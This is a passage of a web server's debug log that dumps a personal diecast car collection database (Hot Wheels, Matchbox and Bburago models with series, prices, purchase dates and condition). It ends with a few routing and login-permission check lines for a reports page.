      case: 'J',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 102,
      model_name: 'Alfa Romeo Giulia TI Super',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'Q',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 101,
      model_name: 'Ford Mustang-E 1400',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'A',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 100,
      model_name: 'Decidedly Go',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Experimotors',
      brand_id: 71,
      series_id: 166,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 99,
      model_name: 'Polestar TRX',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '166.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 98,
      model_name: 'Peugeot 9X8 Hypercar',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-07T18:30:00.000Z',
      price: '279.00',
      brand: 'Hotwheels',
      series: 'HW Exotics',
      brand_id: 71,
      series_id: 170,
      case: 'M',
      vehicle_brand_name: 'Peugeot',
      vehicle_brand_id: 121,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 97,
      model_name: 'Cadillac Project GTP Hypercar',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-24T18:30:00.000Z',
      price: '400.00',
      brand: 'Hotwheels',
      series: 'HW Exotics',
      brand_id: 71,
      series_id: 170,
      case: 'M',
      vehicle_brand_name: 'Cadillac',
      vehicle_brand_id: 169,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 96,
      model_name: 'Pagani Utopia',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-10T18:30:00.000Z',
      price: '270.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'M',
      vehicle_brand_name: 'Pagani',
      vehicle_brand_id: 168,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 95,
      model_name: 'Porsche 934 Turbo RSR',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-11T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'Neon Speeders - Mix 2',
      brand_id: 71,
      series_id: 162,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 94,
      model_name: 'McMurtry Speirling',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-10T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Mcmurtry',
      vehicle_brand_id: 167,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 93,
      model_name: 'TV Series Batmobile',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-18T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Batman',
      brand_id: 71,
      series_id: 161,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 92,
      model_name: 'Rodger Dodger 2.0',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 91,
      model_name: '20 Jeep Gladiator',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-25T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: "HW Truckin' Along",
      brand_id: 71,
      series_id: 160,
      case: 'A',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 90,
      model_name: 'Rodger Dodger',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-11T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Fan Driver',
      brand_id: 71,
      series_id: 159,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 89,
      model_name: 'Ford Mustang GTD',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-04T18:30:00.000Z',
      price: '300.00',
      brand: 'Hotwheels',
      series: 'HW Mustang 60th',
      brand_id: 71,
      series_id: 147,
      case: 'P',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 88,
      model_name: 'Chevy Blazer 4X4',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-02T18:30:00.000Z',
      price: '250.00',
      brand: 'Hotwheels',
      series: 'HW Dirt',
      brand_id: 71,
      series_id: 94,
      case: 'P',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 87,
      model_name: 'BMW 635 CSi',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-03T18:30:00.000Z',
      price: '250.00',
      brand: 'Hotwheels',
      series: 'HW Wild Widebody',
      brand_id: 71,
      series_id: 148,
      case: 'P',
      vehicle_brand_name: 'BMW',
      vehicle_brand_id: 126,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 86,
      model_name: 'Ford RS200',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-03T18:30:00.000Z',
      price: '250.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 85,
      model_name: 'Masserti Grandturismo Folgore',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-28T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 84,
      model_name: 'Nissan Sentra 2016',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-22T18:30:00.000Z',
      price: '167.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 83,
      model_name: 'Nissan Arya Pole to Pole 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-07T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 82,
      model_name: ' MBX Turf Hauler II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'MBX',
      vehicle_brand_id: 155,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 81,
      model_name: ' Dodge Durango 2018',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 80,
      model_name: 'Polaris RZR Pro R 4 Sport 2025',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Polaris ',
      vehicle_brand_id: 154,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 79,
      model_name: 'Subaru J WRX S4 STI 2024',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-15T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Subaru',
      vehicle_brand_id: 153,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 78,
      model_name: 'Ford E Transit 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 77,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 76,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 75,
      model_name: 'Volva 1986 240 Sedan',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 74,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 73,
      model_name: '62 Corvette Gasser',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-27T18:30:00.000Z',
      price: '166.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'J',
      vehicle_brand_name: 'Corvette ',
      vehicle_brand_id: 152,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 72,
      model_name: 'Alfa Romeo Duetto',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-22T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 71,
      model_name: '1966 Land Rover Gen 11 Safari',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 70,
      model_name: '1963 Ford Thunderbird',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 69,
      model_name: '22 Ford F 150 Lightning',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 68,
      model_name: 'McLaren MCL38 No.4 Lando Norris Formula 1 ',
      release_year: 2024,
      scale: '1:43',
      has_real_car: 0,
      purchase_date: '2025-08-31T18:30:00.000Z',
      price: '1500.00',
      brand: 'Bburago',
      series: 'Mainline',
      brand_id: 74,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'McLaren',
      vehicle_brand_id: 114,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 67,
      model_name: 'Kei Swap',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Art Cars',
      brand_id: 71,
      series_id: 105,
      case: 'M',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 66,
      model_name: 'Hoto Roto',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 65,
      model_name: 'Cruise Bruiser',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'J',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 64,
      model_name: 'Renault Espace F1',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Modified',
      brand_id: 71,
      series_id: 103,
      case: 'P',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 63,
      model_name: '15 Land Rover Defender Double Cab',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Dirt',
      brand_id: 71,
      series_id: 94,
      case: 'Q',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 62,
      model_name: '83 Chevy Silverado',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'Q',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 61,
      model_name: 'RRRoadster',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 60,
      model_name: '2018 Bentley Continental GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Race day',
      brand_id: 71,
      series_id: 95,
      case: 'Q',
      vehicle_brand_name: 'Bentley',
      vehicle_brand_id: 125,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 59,
      model_name: 'Blaze bluster II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-09T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 58,
      model_name: 'Jeep Avenger 2024',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-01T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 57,
      model_name: 'Audi E Tron EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-01T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 56,
      model_name: 'Jeep Wagoneer 2022',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 55,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Modified',
      brand_id: 71,
      series_id: 103,
      case: 'P',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 54,
      model_name: "Drift'n Break",
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Wagons',
      brand_id: 71,
      series_id: 102,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 53,
      model_name: 'Lamborghini Huracán Sterrato',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-12T18:30:00.000Z',
      price: '350.00',
      brand: 'Hotwheels',
      series: 'HW Safari Mode',
      brand_id: 71,
      series_id: 144,
      case: 'Q',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 52,
      model_name: 'Ferrari SF90 Stradale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-12T18:30:00.000Z',
      price: '350.00',
      brand: 'Hotwheels',
      series: 'HW Factory Fresh',
      brand_id: 71,
      series_id: 145,
      case: 'Q',
      vehicle_brand_name: 'Ferrari',
      vehicle_brand_id: 124,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 51,
      model_name: 'Volvo 240 Drift Wagon',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Wagons',
      brand_id: 71,
      series_id: 102,
      case: 'P',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 50,
      model_name: '91 GMC Syclone',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'Q',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 49,
      model_name: 'Porsche 911 Turbo Cabriolet',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'P',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 48,
      model_name: 'Formula E Gen3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Track Aces',
      brand_id: 71,
      series_id: 146,
      case: 'P',
      vehicle_brand_name: 'Formula',
      vehicle_brand_id: 139,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 47,
      model_name: 'Mazda RX-3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'P',
      vehicle_brand_name: 'Mazda',
      vehicle_brand_id: 137,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 46,
      model_name: 'Silverado EV RST',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'N',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 45,
      model_name: 'GT Shelby GT500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Mustang 60th',
      brand_id: 71,
      series_id: 147,
      case: 'P',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 44,
      model_name: 'Gordon Murray Automotive T.33',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Factory Fresh',
      brand_id: 71,
      series_id: 145,
      case: 'P',
      vehicle_brand_name: 'Gordon Murray',
      vehicle_brand_id: 138,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 43,
      model_name: 'Jaguar MK1',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Race day',
      brand_id: 71,
      series_id: 95,
      case: 'M',
      vehicle_brand_name: 'Jaguar',
      vehicle_brand_id: 133,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 42,
      model_name: '73 Pontiac Firebird',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Muscle Mania',
      brand_id: 71,
      series_id: 96,
      case: 'M',
      vehicle_brand_name: 'Pontiac',
      vehicle_brand_id: 134,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 41,
      model_name: '99 Ford F-150 SVT Lightning',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'M',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 40,
      model_name: " Ford Model A Custom '31",
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Dirt',
      brand_id: 71,
      series_id: 94,
      case: 'M',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 39,
      model_name: '74 Brazilian Dodge Charger',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-27T18:30:00.000Z',
      price: '350.00',
      brand: 'Hotwheels',
      series: 'HW Celebration Racers',
      brand_id: 71,
      series_id: 98,
      case: 'D',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 38,
      model_name: 'Porsche 904 Carrera GTS',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-27T18:30:00.000Z',
      price: '350.00',
      brand: 'Hotwheels',
      series: 'HW Race day',
      brand_id: 71,
      series_id: 95,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 37,
      model_name: '71 Lamborghini Miura SV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Hotwheels',
      series: 'HW 70s vs 90s',
      brand_id: 71,
      series_id: 99,
      case: 'D',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 36,
      model_name: 'EL Segundo Rally',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Track Champs',
      brand_id: 71,
      series_id: 100,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 35,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'Q',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 34,
      model_name: 'Track Dwagon',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Wagons',
      brand_id: 71,
      series_id: 102,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2025-12-16T04:33:04.087Z server-connect:router Serving templateView /diecast-reports
2025-12-16T04:33:04.087Z server-connect:app Executing action step identify
2025-12-16T04:33:04.087Z server-connect:app options: { provider: 'security' }
2025-12-16T04:33:04.087Z server-connect:output identity: 1
2025-12-16T04:33:04.087Z server-connect:app Executing action step restrict
2025-12-16T04:33:04.087Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T04:33:04.088Z server-connect:output restrict: undefined
2025-12-16T04:33:04.088Z server-connect:router Render template diecast-reports
